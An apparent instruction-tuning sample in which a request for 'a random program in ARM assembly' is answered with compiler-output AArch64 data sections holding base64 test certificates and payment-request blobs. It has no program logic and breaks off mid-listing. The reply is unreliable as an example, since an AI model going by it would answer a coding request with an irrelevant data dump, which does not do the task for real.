text
stringlengths 197
24.1M
|
---|
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global caCert_BASE64
.section .rodata
.align 3
.LC0:
.ascii "MIIB0DCCATmgAwIBAgIJAI75TJGxEsCoMA0GCSqGSIb3DQEBCwUAMCExHzAd"
.ascii "BgNVBAMTFlBheW1lbnRSZXF1ZXN0IFRlc3QgQ0EwHhcNMTIxMjEwMTYzNzI0"
.ascii "WhcNMjIxMjA4MTYzNzI0WjAhMR8wHQYDVQQDExZQYXltZW50UmVxdWVzdCBU"
.ascii "ZXN0IENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCvua59nX9radoq"
.ascii "DYyplcns5qdVDTN17tmcGixmMYOYU3UYMU55VSsJs0dWKnMm3COQDY+N63c0"
.ascii "XSbRqarBcsLTkaNASuPXFCv1VWuEKSyy5xe4zeoDU7CVSzlxtQD9wbZW/s3I"
.ascii "SjgaXBpw"
.string "n6eVmntb0JwYxxPcM1u/hrMD8BDbSQIDAQABoxAwDjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4GBADSaRgK5xe47XxycXBhHhr0Wgl4pAsFsufqA9aB9r8KNEHJ0yUvvbD/jaJJMRtQcf0AJ9olzUMY4syehxbzUJP6aeXhZEYiMvdvcv9D55clq6+WLLlNT3jBgAaVnp3waRjPD4bUX3nv+ojz5s4puw7Qq5QUZlhGsMzPvwDGCmZkL"
.section .data.rel.local,"aw"
.align 3
.type caCert_BASE64, %object
.size caCert_BASE64, 8
caCert_BASE64:
.xword .LC0
.global paymentrequest1_BASE64
.section .rodata
.align 3
.LC1:
.ascii "Egt4NTA5K3NoYTI1NhrxAwruAzCCAeowggFToAMCAQICAQEwDQYJKoZIhvcN"
.ascii "AQELBQAwITEfMB0GA1UEAxMWUGF5bWVudFJlcXVlc3QgVGVzdCBDQTAeFw0x"
.ascii "MjEyMTAxNjM3MjRaFw0yMjEyMDgxNjM3MjRaMEMxGTAXBgNVBAMMEHRlc3Rt"
.ascii "ZXJjaGFudC5vcmcxJjAkBgNVBAoMHVBheW1lbnQgUmVxdWVzdCBUZXN0IE1l"
.ascii "cmNoYW50MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDHkMy8W1u6HsWl"
.ascii "SqdWTmMKf54gICxNfxbY+rcMtAftr62hCYx2d2QiSRd1pCUzmo12IiSX3WxS"
.ascii "HwaTnT3MFD6jRx6+zM6XdGarI2zpYle11ANzu4gAthN17uRQHV2O5QxVtzNa"
.ascii "MdKeJLXT2L9tfEdyL++9ZUqoQmdAYG9ix330hQIDAQABoxAwDjAMBgNVHRME"
.ascii "BTADAQH/MA0GCSqGSIb3DQEBCwUAA4GBAIkyO99KC68bi9PFRyQQ7nvn5GlQ"
.ascii "Eb3Ca1bRG5+AKN9N5vc8rZ9G2hejtM8wEXnieGBP+chVMsbTPEHKLrwREn7I"
.ascii "vcyCcbAStaklPC3w0B/2idQSHskb6P3X13OR2bTHa2+6wuhsOZRUrVNr24rM"
.ascii "95DKx/eCC6JN1VW+"
.string "qRPU6fqzIjQSHwiw2wYSGXapFJVgigPI+6XpExtNLO/i1WFV8ZmoiKwYsuHFiwUqC1VuaXRUZXN0T25lKoABS0j59iMUUc9MdIfwsO1BskIET0eJSGNZ7eXb9N62u+qf831PMpEHkmlGpk8rHy92nPcgua/UYt8oZMn3QaTZ5A6HjJbc3A73eLylp1a0SwCl+KDMEvDQhqMn1jAVu2v92AH3uB7nSiWVbw0tX/68iSQEGGfh9n6ee/8Myb3ICdw="
.section .data.rel.local
.align 3
.type paymentrequest1_BASE64, %object
.size paymentrequest1_BASE64, 8
paymentrequest1_BASE64:
.xword .LC1
.global paymentrequest2_BASE64
.section .rodata
.align 3
.LC2:
.ascii "Egt4NTA5K3NoYTI1NhrsAwrpAzCCAeUwggFOoAMCAQICAQMwDQYJKoZIhvcN"
.ascii "AQELBQAwITEfMB0GA1UEAxMWUGF5bWVudFJlcXVlc3QgVGVzdCBDQTAeFw0x"
.ascii "MzAyMjMyMTI2NDNaFw0xMzAyMjQyMTI2NDNaMD4xHDAaBgNVBAMME2V4cGly"
.ascii "ZWRtZXJjaGFudC5vcmcxHjAcBgNVBAoMFUV4cGlyZWQgVGVzdCBNZXJjaGFu"
.ascii "dDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAx5DMvFtbuh7FpUqnVk5j"
.ascii "Cn+eICAsTX8W2Pq3DLQH7a+toQmMdndkIkkXdaQlM5qNdiIkl91sUh8Gk509"
.ascii "zBQ+o0cevszOl3RmqyNs6WJXtdQDc7uIALYTde7kUB1djuUMVbczWjHSniS1"
.ascii "09i/bXxHci/vvWVKqEJnQGBvYsd99IUCAwEAAaMQMA4wDAYDVR0TBAUwAwEB"
.ascii "/zANBgkqhkiG9w0BAQsFAAOBgQAaU137j53rvSjlmYZpZ4RWTP7EdD6fl5Zx"
.ascii "BeXHytN6DQL33H0eD7OFHt+ofc7E6D7keublUfCu+jOvt/MvvPUmtCI9yXZ0"
.ascii "dNC4sjyETv+wQpxO0UNZwOM4uegdCzlo6Bi3pD4/KKLdMkWuUfuPBmoammny"
.ascii "74lZaOVr"
.string "5deKXztTuCI0Eh8IsNsGEhl2qRSVYIoDyPul6RMbTSzv4tVhVfGZqIisGLLhxYsFKgtVbml0VGVzdFR3byqAAXHuo4nZEPniLpkdy30TkwBxVgprWJ18a9z/7Py35Qss/JMbOXbnBhJtmJCdIowHRI0aa+zqt3KKKAXimm+V4seMgxTcxMS+eDDkiTcB/RtWWSyRcS2ANjFeY0T4SLMwiCL9qWPi03hr8j96tejrSPOBNSJ3Mi/q5u2Yl4gJZY2b"
.section .data.rel.local
.align 3
.type paymentrequest2_BASE64, %object
.size paymentrequest2_BASE64, 8
paymentrequest2_BASE64:
.xword .LC2
.global paymentrequest3_BASE64
.section .rodata
.align 3
.LC3:
.ascii "Egt4NTA5K3NoYTI1Nhq8JAr/AzCCAfswggFkoAMCAQICAQEwDQYJKoZIhvcN"
.ascii "AQELBQAwPzEUMBIGA1UEAwwLdGVzdGNhOC5vcmcxJzAlBgNVBAoMHlBheW1l"
.ascii "bnQgUmVxdWVzdCBJbnRlcm1lZGlhdGUgODAeFw0xMzAyMjMyMjQyMzFaFw0y"
.ascii "MzAyMjEyMjQyMzFaMDYxGjAYBgNVBAMMEXRlc3RtZXJjaGFudDgub3JnMRgw"
.ascii "FgYDVQQKDA9UZXN0IE1lcmNoYW50IDgwgZ8wDQYJKoZIhvcNAQEBBQADgY0A"
.ascii "MIGJAoGBAMMCHA3hiHbSTKZ5K9jHRwE8NxkGp3IOx56PDB2diNkldG8XweTc"
.ascii "Rq7bBm7pdiBt4IVggtfs+6hEhDYIOecyoAnVzPFTdvQ7KQdQ/fD9YLe6lk+o"
.ascii "0edOqutPMyrxLFjSluXxEQyk7fdtURloMMYfp3p1/hFCboA1rAsQ2RW38hR5"
.ascii "AgMBAAGjEDAOMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEAPsdF"
.ascii "atnc2RJSpvZsw+nCiPVsllycw5ELglq9vfJznJJucRxgzmqI2iuas1ugwbXn"
.ascii "0BEIRLK7vMF/qBzQR6M/nTxttah+KEu+okjps9vJcIyhfTyGPC5xkHaHZ7sG"
.ascii "+UHOFhPw0/kXn0x+pbVgBZ5315axqcp1R+DTSj/whMArn0AKiAQwggIEMIIB"
.ascii "baADAgECAgECMA0GCSqGSIb3DQEBCwUAMD8xFDASBgNVBAMMC3Rlc3RjYTcu"
.ascii "b3JnMScwJQYDVQQKDB5QYXltZW50IFJlcXVlc3QgSW50ZXJtZWRpYXRlIDcw"
.ascii "HhcNMTMwMjIzMjI0MjMxWhcNMjMwMjIxMjI0MjMxWjA/MRQwEgYDVQQDDAt0"
.ascii "ZXN0Y2E4Lm9yZzEnMCUGA1UECgweUGF5bWVudCBSZXF1ZXN0IEludGVybWVk"
.ascii "aWF0ZSA4MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDexUFfxb1sThva"
.ascii "bp7udZz59ciThGmmAW0nP4tjrgEACgvWIInr2dZpTHbiQNF34ycsk0le1JD9"
.ascii "3D7Qb8rd25OrpaO8XS2Li2zjR9cleixXjSLwV/zv8zJ8yPl/27XL++PDTKBX"
.ascii "VpJ8/Syp+9TyplV1BqDhqtIHb/QSHEkTQXjeYQIDAQABoxAwDjAMBgNVHRME"
.ascii "BTADAQH/MA0GCSqGSIb3DQEBCwUAA4GBACMooQVbkbIZ2DaPwHDc4ULwguG3"
.ascii "VI2Kzj50UdExmHtzm2S4MQei+n+HEPjtJAx5OY520+10nfuP+12H2DRLQmWm"
.ascii "dvDpeQ/Cv0yavlw4ZRejRFo7KS83C0wo5rd+qTvvOmAN4UTArWkzYcEUulPd"
.ascii "iXnRamb0WQHTeVdIbHVkMormCogEMIICBDCCAW2gAwIBAgIBAjANBgkqhkiG"
.ascii "9w0BAQsFADA/MRQwEgYDVQQDDAt0ZXN0Y2E2Lm9yZzEnMCUGA1UECgweUGF5"
.ascii "bWVudCBSZXF1ZXN0IEludGVybWVkaWF0ZSA2MB4XDTEzMDIyMzIyNDIzMVoX"
.ascii "DTIzMDIyMTIyNDIzMVowPzEUMBIGA1UEAwwLdGVzdGNhNy5vcmcxJzAlBgNV"
.ascii "BAoMHlBheW1lbnQgUmVxdWVzdCBJbnRlcm1lZGlhdGUgNzCBnzANBgkqhkiG"
.ascii "9w0BAQEFAAOBjQAwgYkCgYEAtjBRazrkebXAhXsbjimrMIRmW/f9SwAHwXfc"
.ascii "042keNtl0t2z6XE6UPcR2v/KrssXuCZgodeYxz6IM6lWosCM1xotC3ChKKFB"
.ascii "fVO30reuKBRUxXfKAFqxaG0YOAEzdZkkY9AGhqWloeSmgxpIfhInU0EFJjCw"
.ascii "rJ6IkijBatGoAAECAwEAAaMQMA4wDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0B"
.ascii "AQsFAAOBgQDBRTi1MolmOA0niHYX0A2lN5QWHkCfX0A7GwyoMA3dvM45m/NY"
.ascii "d4WBX+HwfnfYcI6X9jOg"
.ascii "No5OWmc4GGsld0HlxwMYEKISBS9PbSHPBrb3TBOlw5ztQpXZ91+bOhLux52F"
.ascii "r03sK7v9qExmBM12M8UR2ltpzAMiUgLLMHyPfiWkvQqIBDCCAgQwggFtoAMC"
.ascii "AQICAQIwDQYJKoZIhvcNAQELBQAwPzEUMBIGA1UEAwwLdGVzdGNhNS5vcmcx"
.ascii "JzAlBgNVBAoMHlBheW1lbnQgUmVxdWVzdCBJbnRlcm1lZGlhdGUgNTAeFw0x"
.ascii "MzAyMjMyMjQyMzBaFw0yMzAyMjEyMjQyMzBaMD8xFDASBgNVBAMMC3Rlc3Rj"
.ascii "YTYub3JnMScwJQYDVQQKDB5QYXltZW50IFJlcXVlc3QgSW50ZXJtZWRpYXRl"
.ascii "IDYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANJSH3xivX1t9olIdHsz"
.ascii "nI1aE9SD7t9iSZJsIB0otoETHZRVv9M9LvyzBNK98ZV+kTOlST7PJgC0d9BQ"
.ascii "M9sgYApSRq5oqKDM9FXbOm/yaReAbU3mkFNFw5roTlJ5ThEy0yOGT/DS0YBR"
.ascii "aGIvRPRj2DiqDVdCZZ+w4jo1IYHkZt4FAgMBAAGjEDAOMAwGA1UdEwQFMAMB"
.ascii "Af8wDQYJKoZIhvcNAQELBQADgYEATm6+J1OmbrothO60xALKonWMBKr6hudb"
.ascii "4amkFBqKbA9wMeM3jl+I/yKfz/UfxWuJ071IhiNv6Gxx5YwNvhUe1xMhUqHv"
.ascii "0gpyK1Z47bD+kYS2se5sWNPNo3Y9qZDGIXiGQxwHmrzaFk79Uy1xsmvsEz42"
.ascii "w6hr25Yaw7HkIgrFveoKiAQwggIEMIIBbaADAgECAgECMA0GCSqGSIb3DQEB"
.ascii "CwUAMD8xFDASBgNVBAMMC3Rlc3RjYTQub3JnMScwJQYDVQQKDB5QYXltZW50"
.ascii "IFJlcXVlc3QgSW50ZXJtZWRpYXRlIDQwHhcNMTMwMjIzMjI0MjMwWhcNMjMw"
.ascii "MjIxMjI0MjMwWjA/MRQwEgYDVQQDDAt0ZXN0Y2E1Lm9yZzEnMCUGA1UECgwe"
.ascii "UGF5bWVudCBSZXF1ZXN0IEludGVybWVkaWF0ZSA1MIGfMA0GCSqGSIb3DQEB"
.ascii "AQUAA4GNADCBiQKBgQC7vVUFpxHzz2Tr/xij3k58s8d/BPA0R6D5RXTVvmhA"
.ascii "zc1Zuin4zUKRFs/aCj/0yED8Wu/COfNGF4tVlRNMdl9EcFsxa8XGEL4eAZa+"
.ascii "H/rOHH+7/1EINrrVWhZlUecyhilN8jmCZmqEM3ecuD0NAViqyMrgmaiFmsLo"
.ascii "QZpEGepDUQIDAQABoxAwDjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUA"
.ascii "A4GBAEdJSs8jWiooja3WZzHXeF95QkBJNjIlpDLGcpl4opOYLSuEl9Uxp//L"
.ascii "aQQiXuzpj4/IpkWGQmMy5HOyH1lqDyiMgXpcG8PE0jEQAoEUGZ0QEqB1mZ6B"
.ascii "CrYvmUuf/5aSVd8Y6lKMR3WzFDYU9Zy0nzuHB/3nvp6MeDRQeRMtYvz4CogE"
.ascii "MIICBDCCAW2gAwIBAgIBAjANBgkqhkiG9w0BAQsFADA/MRQwEgYDVQQDDAt0"
.ascii "ZXN0Y2EzLm9yZzEnMCUGA1UECgweUGF5bWVudCBSZXF1ZXN0IEludGVybWVk"
.ascii "aWF0ZSAzMB4XDTEzMDIyMzIyNDIyOVoXDTIzMDIyMTIyNDIyOVowPzEUMBIG"
.ascii "A1UEAwwLdGVzdGNhNC5vcmcxJzAlBgNVBAoMHlBheW1lbnQgUmVxdWVzdCBJ"
.ascii "bnRlcm1lZGlhdGUgNDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAxYYo"
.ascii "3w2UXiYg6O8b4QgwN/vgreTkiW122Ep/z2TiDrhVMhfOOiKdwYESPflfnXnV"
.ascii "aQQzCGexYTQqsvqvzHSyna5hL0zPTRJxSKmTVrXRsWtpdCRhjxCGipS3tlQB"
.ascii "Di7vb+7SNRIBK4dBjjGzALNk7gMCpy+yM8f6I043jTlmGb0CAwEAAaMQMA4w"
.ascii "DAYDVR0TBAUwAwEB/zAN"
.ascii "BgkqhkiG9w0BAQsFAAOBgQDU+IQxt3OhKqaUYWC23+cB2gekvWqwMBnrCNrX"
.ascii "/Dp+kjoJKUoR2Fs3qw53raHES4SIhpGT9l9lrppNQgFe/JMHeYqOZMZO+6ku"
.ascii "U0olJanBJ14tPIc7zlMTQ9OfmZ6v07IpyFbsQDtRhpe80DpuvSFPfJ4fh0Wr"
.ascii "Qf6kn3KDVpGDnAqIBDCCAgQwggFtoAMCAQICAQIwDQYJKoZIhvcNAQELBQAw"
.ascii "PzEUMBIGA1UEAwwLdGVzdGNhMi5vcmcxJzAlBgNVBAoMHlBheW1lbnQgUmVx"
.ascii "dWVzdCBJbnRlcm1lZGlhdGUgMjAeFw0xMzAyMjMyMjQyMjlaFw0yMzAyMjEy"
.ascii "MjQyMjlaMD8xFDASBgNVBAMMC3Rlc3RjYTMub3JnMScwJQYDVQQKDB5QYXlt"
.ascii "ZW50IFJlcXVlc3QgSW50ZXJtZWRpYXRlIDMwgZ8wDQYJKoZIhvcNAQEBBQAD"
.ascii "gY0AMIGJAoGBANzgVP99Qg98e6NsKEz1v5KqRB7NTBRRsYnBvb/TSWipvMQa"
.ascii "CYuEyk1xG57x++QuASKeR3QHRQJOoAhQaj9JLUhSSv9GQ5PrFLLsOFv7L1tp"
.ascii "zXHh2dOBIW92X2yFRW2s39q+Q21yvN+N8uoKdqXhzRA+dDoXh3cavaVeHX1G"
.ascii "+IrlAgMBAAGjEDAOMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEA"
.ascii "STwg84cX+1UhOG9sejFV3m34QuI1hPZ+qhqVJlRYUtego8Wng1BburDSwqVA"
.ascii "v4ch2wi3c2s4e8J7AXyLtzSbSQG4RN0oZi0mR8EtTTN+Mix/hBIk79dMZg85"
.ascii "+I29uFA6Zj2d9oAhQv2qkHhc6tcaheNvkQRlCyH68k3iF1Fqf+4KiAQwggIE"
.ascii "MIIBbaADAgECAgECMA0GCSqGSIb3DQEBCwUAMD8xFDASBgNVBAMMC3Rlc3Rj"
.ascii "YTEub3JnMScwJQYDVQQKDB5QYXltZW50IFJlcXVlc3QgSW50ZXJtZWRpYXRl"
.ascii "IDEwHhcNMTMwMjIzMjI0MjI5WhcNMjMwMjIxMjI0MjI5WjA/MRQwEgYDVQQD"
.ascii "DAt0ZXN0Y2EyLm9yZzEnMCUGA1UECgweUGF5bWVudCBSZXF1ZXN0IEludGVy"
.ascii "bWVkaWF0ZSAyMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDaV8zhfyQu"
.ascii "Sf/f+fauMfgs3g/RnWy9yxxUkvQneQQPH3uZzCyk3A6q72ipTtwNqiibG945"
.ascii "5L9A7SaUjGtnpUz0NKT/VWUdqbfCl1PqXjEZbDobbAQ5hxLGOTyLRQhLIcge"
.ascii "q2/BnmeCqHsC4md04nUp+nBo1HwKyygvK+9sMbCp/wIDAQABoxAwDjAMBgNV"
.ascii "HRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4GBACvYyE+PPmWFkbjyRu9LAt8D"
.ascii "crtyYYLRClKSg6tVvutwukLG2l//kDOohYkJtgTqr6LnCIIIwYdXN+4wxugm"
.ascii "w4cnPIZmP6kovxjhhVM95okilor1zniTAo3RN7JDIfTGNgxLdGu1btt7DOFL"
.ascii "4zTbeSJMb8M1JpPftehH+x/VLyuUCuoDMIIB5jCCAU+gAwIBAgIBBTANBgkq"
.ascii "hkiG9w0BAQsFADAhMR8wHQYDVQQDExZQYXltZW50UmVxdWVzdCBUZXN0IENB"
.ascii "MB4XDTEzMDIyMzIyNDIyOFoXDTIzMDIyMTIyNDIyOFowPzEUMBIGA1UEAwwL"
.ascii "dGVzdGNhMS5vcmcxJzAlBgNVBAoMHlBheW1lbnQgUmVxdWVzdCBJbnRlcm1l"
.ascii "ZGlhdGUgMTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAo5Vy9H3nA/OO"
.ascii "kF5Ap89yfVNSiTay/LYCaB0eALpcU690U75O9Q3w2M+2AN8wpbbHsJHZMIjE"
.ascii "eBRoQfjlYXW1ucQTxWKyT+liu0D25mGXX27CBXBd4iXTxVII/iX+u3lcjORj"
.ascii "oHOBy7QgeIDIIS9y0vYu"
.ascii "8eArpjh7m4thrVgIRtMCAwEAAaMQMA4wDAYDVR0TBAUwAwEB/zANBgkqhkiG"
.ascii "9w0BAQsFAAOBgQB9LKcVJK9sjASNzpQlpUp7nCiw5FSjVY+XMRIKK/kavzlK"
.ascii "jZ+InsmmyRVGjDoZi9GrqG9PVHgLBxi2VtVjmokZoNPqao3OfhqORAubC+JR"
.ascii "/JLepM7aDaxDdTHVhSUk4lgNAvi26dGY7nZMsnHlPQ2tPp/HvRRiMq1oDjly"
.string "lc8VTCI2Eh8IsNsGEhl2qRSVYIoDyPul6RMbTSzv4tVhVfGZqIisGLLhxYsFKg1Vbml0VGVzdFRocmVlKoABn2HTsUQtMNI4yNvkfkFNka3pRvTUTydJrvyfmEeLzImfM1BWddZjnywku9RToNFZZNgow5QnljmFchhR/aHOuEMTxmc12K4rNlgYtHCsxLP9zd+6u0cva3TucZ6EzS8PKEib/+r12/52664NuWA9WtsK7QCFrK2K95PnVCRmWl0="
.section .data.rel.local
.align 3
.type paymentrequest3_BASE64, %object
.size paymentrequest3_BASE64, 8
paymentrequest3_BASE64:
.xword .LC3
.global paymentrequest4_BASE64
.section .rodata
.align 3
.LC4:
.ascii "Egt4NTA5K3NoYTI1NhqeJAr/AzCCAfswggFkoAMCAQICAQEwDQYJKoZIhvcN"
.ascii "AQELBQAwPzEUMBIGA1UEAwwLdGVzdGNhOC5vcmcxJzAlBgNVBAoMHlBheW1l"
.ascii "bnQgUmVxdWVzdCBJbnRlcm1lZGlhdGUgODAeFw0xMzAyMjMyMjQyMzFaFw0y"
.ascii "MzAyMjEyMjQyMzFaMDYxGjAYBgNVBAMMEXRlc3RtZXJjaGFudDgub3JnMRgw"
.ascii "FgYDVQQKDA9UZXN0IE1lcmNoYW50IDgwgZ8wDQYJKoZIhvcNAQEBBQADgY0A"
.ascii "MIGJAoGBAMMCHA3hiHbSTKZ5K9jHRwE8NxkGp3IOx56PDB2diNkldG8XweTc"
.ascii "Rq7bBm7pdiBt4IVggtfs+6hEhDYIOecyoAnVzPFTdvQ7KQdQ/fD9YLe6lk+o"
.ascii "0edOqutPMyrxLFjSluXxEQyk7fdtURloMMYfp3p1/hFCboA1rAsQ2RW38hR5"
.ascii "AgMBAAGjEDAOMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQELBQADgYEAPsdF"
.ascii "atnc2RJSpvZsw+nCiPVsllycw5ELglq9vfJznJJucRxgzmqI2iuas1ugwbXn"
.ascii "0BEIRLK7vMF/qBzQR6M/nTxttah+KEu+okjps9vJcIyhfTyGPC5xkHaHZ7sG"
.ascii "+UHOFhPw0/kXn0x+pbVgBZ5315axqcp1R+DTSj/whMArn0AKiAQwggIEMIIB"
.ascii "baADAgECAgECMA0GCSqGSIb3DQEBCwUAMD8xFDASBgNVBAMMC3Rlc3RjYTcu"
.ascii "b3JnMScwJQYDVQQKDB5QYXltZW50IFJlcXVlc3QgSW50ZXJtZWRpYXRlIDcw"
.ascii "HhcNMTMwMjIzMjI0MjMxWhcNMjMwMjIxMjI0MjMxWjA/MRQwEgYDVQQDDAt0"
.ascii "ZXN0Y2E4Lm9yZzEnMCUGA1UECgweUGF5bWVudCBSZXF1ZXN0IEludGVybWVk"
.ascii "aWF0ZSA4MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDexUFfxb1sThva"
.ascii "bp7udZz59ciThGmmAW0nP4tjrgEACgvWIInr2dZpTHbiQNF34ycsk0le1JD9"
.ascii "3D7Qb8rd25OrpaO8XS2Li2zjR9cleixXjSLwV/zv8zJ8yPl/27XL++PDTKBX"
.ascii "VpJ8/Syp+9TyplV1BqDhqtIHb/QSHEkTQXjeYQIDAQABoxAwDjAMBgNVHRME"
.ascii "BTADAQH/MA0GCSqGSIb3DQEBCwUAA4GBACMooQVbkbIZ2DaPwHDc4ULwguG3"
.ascii "VI2Kzj50UdExmHtzm2S4MQei+n+HEPjtJAx5OY520+10nfuP+12H2DRLQmWm"
.ascii "dvDpeQ/Cv0yavlw4ZRejRFo7KS83C0wo5rd+qTvvOmAN4UTArWkzYcEUulPd"
.ascii "iXnRamb0WQHTeVdIbHVkMormCogEMIICBDCCAW2gAwIBAgIBAjANBgkqhkiG"
.ascii "9w0BAQsFADA/MRQwEgYDVQQDDAt0ZXN0Y2E2Lm9yZzEnMCUGA1UECgweUGF5"
.ascii "bWVudCBSZXF1ZXN0IEludGVybWVkaWF0ZSA2MB4XDTEzMDIyMzIyNDIzMVoX"
.ascii "DTIzMDIyMTIyNDIzMVowPzEUMBIGA1UEAwwLdGVzdGNhNy5vcmcxJzAlBgNV"
.ascii "BAoMHlBheW1lbnQgUmVxdWVzdCBJbnRlcm1lZGlhdGUgNzCBnzANBgkqhkiG"
.ascii "9w0BAQEFAAOBjQAwgYkCgYEAtjBRazrkebXAhXsbjimrMIRmW/f9SwAHwXfc"
.ascii "042keNtl0t2z6XE6UPcR2v/KrssXuCZgodeYxz6IM6lWosCM1xotC3ChKKFB"
.ascii "fVO30reuKBRUxXfKAFqxaG0YOAEzdZkkY9AGhqWloeSmgxpIfhInU0EFJjCw"
.ascii "rJ6IkijBatGoAAECAwEAAaMQMA4wDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0B"
.ascii "AQsFAAOBgQDBRTi1MolmOA0niHYX0A2lN5QWHkCfX0A7GwyoMA3dvM45m/NY"
.ascii "d4WBX+HwfnfYcI6X9jOg"
.ascii "No5OWmc4GGsld0HlxwMYEKISBS9PbSHPBrb3TBOlw5ztQpXZ91+bOhLux52F"
.ascii "r03sK7v9qExmBM12M8UR2ltpzAMiUgLLMHyPfiWkvQqIBDCCAgQwggFtoAMC"
.ascii "AQICAQIwDQYJKoZIhvcNAQELBQAwPzEUMBIGA1UEAwwLdGVzdGNhNS5vcmcx"
.ascii "JzAlBgNVBAoMHlBheW1lbnQgUmVxdWVzdCBJbnRlcm1lZGlhdGUgNTAeFw0x"
.ascii "MzAyMjMyMjQyMzBaFw0yMzAyMjEyMjQyMzBaMD8xFDASBgNVBAMMC3Rlc3Rj"
.ascii "YTYub3JnMScwJQYDVQQKDB5QYXltZW50IFJlcXVlc3QgSW50ZXJtZWRpYXRl"
.ascii "IDYwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANJSH3xivX1t9olIdHsz"
.ascii "nI1aE9SD7t9iSZJsIB0otoETHZRVv9M9LvyzBNK98ZV+kTOlST7PJgC0d9BQ"
.ascii "M9sgYApSRq5oqKDM9FXbOm/yaReAbU3mkFNFw5roTlJ5ThEy0yOGT/DS0YBR"
.ascii "aGIvRPRj2DiqDVdCZZ+w4jo1IYHkZt4FAgMBAAGjEDAOMAwGA1UdEwQFMAMB"
.ascii "Af8wDQYJKoZIhvcNAQELBQADgYEATm6+J1OmbrothO60xALKonWMBKr6hudb"
.ascii "4amkFBqKbA9wMeM3jl+I/yKfz/UfxWuJ071IhiNv6Gxx5YwNvhUe1xMhUqHv"
.ascii "0gpyK1Z47bD+kYS2se5sWNPNo3Y9qZDGIXiGQxwHmrzaFk79Uy1xsmvsEz42"
.ascii "w6hr25Yaw7HkIgrFveoK6gMwggHmMIIBT6ADAgECAgEGMA0GCSqGSIb3DQEB"
.ascii "CwUAMCExHzAdBgNVBAMTFlBheW1lbnRSZXF1ZXN0IFRlc3QgQ0EwHhcNMTMw"
.ascii "MjIzMjI1OTUxWhcNMTMwMjI0MjI1OTUxWjA/MRQwEgYDVQQDDAt0ZXN0Y2E1"
.ascii "Lm9yZzEnMCUGA1UECgweUGF5bWVudCBSZXF1ZXN0IEludGVybWVkaWF0ZSA1"
.ascii "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC7vVUFpxHzz2Tr/xij3k58"
.ascii "s8d/BPA0R6D5RXTVvmhAzc1Zuin4zUKRFs/aCj/0yED8Wu/COfNGF4tVlRNM"
.ascii "dl9EcFsxa8XGEL4eAZa+H/rOHH+7/1EINrrVWhZlUecyhilN8jmCZmqEM3ec"
.ascii "uD0NAViqyMrgmaiFmsLoQZpEGepDUQIDAQABoxAwDjAMBgNVHRMEBTADAQH/"
.ascii "MA0GCSqGSIb3DQEBCwUAA4GBAEmcUEnhua/oiXy1fwScLgMqt+jk9mHRpE6S"
.ascii "VsIop23QCY2JfpG6RxhMMzzzhGklEGN6cxG0HCi6B3HJx6PYrFEfTB0rW4K6"
.ascii "m0Tvx3WpS9mNuoEuJHLy18ausI/sYAPDHCL+SfBVcqorpaIG2sSpZouRBjRH"
.ascii "AyqFAYlwlW87uq5nCogEMIICBDCCAW2gAwIBAgIBAjANBgkqhkiG9w0BAQsF"
.ascii "ADA/MRQwEgYDVQQDDAt0ZXN0Y2EzLm9yZzEnMCUGA1UECgweUGF5bWVudCBS"
.ascii "ZXF1ZXN0IEludGVybWVkaWF0ZSAzMB4XDTEzMDIyMzIyNDIyOVoXDTIzMDIy"
.ascii "MTIyNDIyOVowPzEUMBIGA1UEAwwLdGVzdGNhNC5vcmcxJzAlBgNVBAoMHlBh"
.ascii "eW1lbnQgUmVxdWVzdCBJbnRlcm1lZGlhdGUgNDCBnzANBgkqhkiG9w0BAQEF"
.ascii "AAOBjQAwgYkCgYEAxYYo3w2UXiYg6O8b4QgwN/vgreTkiW122Ep/z2TiDrhV"
.ascii "MhfOOiKdwYESPflfnXnVaQQzCGexYTQqsvqvzHSyna5hL0zPTRJxSKmTVrXR"
.ascii "sWtpdCRhjxCGipS3tlQBDi7vb+7SNRIBK4dBjjGzALNk7gMCpy+yM8f6I043"
.ascii "jTlmGb0CAwEAAaMQMA4wDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOB"
.ascii "gQDU+IQxt3OhKqaUYWC2"
.ascii "3+cB2gekvWqwMBnrCNrX/Dp+kjoJKUoR2Fs3qw53raHES4SIhpGT9l9lrppN"
.ascii "QgFe/JMHeYqOZMZO+6kuU0olJanBJ14tPIc7zlMTQ9OfmZ6v07IpyFbsQDtR"
.ascii "hpe80DpuvSFPfJ4fh0WrQf6kn3KDVpGDnAqIBDCCAgQwggFtoAMCAQICAQIw"
.ascii "DQYJKoZIhvcNAQELBQAwPzEUMBIGA1UEAwwLdGVzdGNhMi5vcmcxJzAlBgNV"
.ascii "BAoMHlBheW1lbnQgUmVxdWVzdCBJbnRlcm1lZGlhdGUgMjAeFw0xMzAyMjMy"
.ascii "MjQyMjlaFw0yMzAyMjEyMjQyMjlaMD8xFDASBgNVBAMMC3Rlc3RjYTMub3Jn"
.ascii "MScwJQYDVQQKDB5QYXltZW50IFJlcXVlc3QgSW50ZXJtZWRpYXRlIDMwgZ8w"
.ascii "DQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBANzgVP99Qg98e6NsKEz1v5KqRB7N"
.ascii "TBRRsYnBvb/TSWipvMQaCYuEyk1xG57x++QuASKeR3QHRQJOoAhQaj9JLUhS"
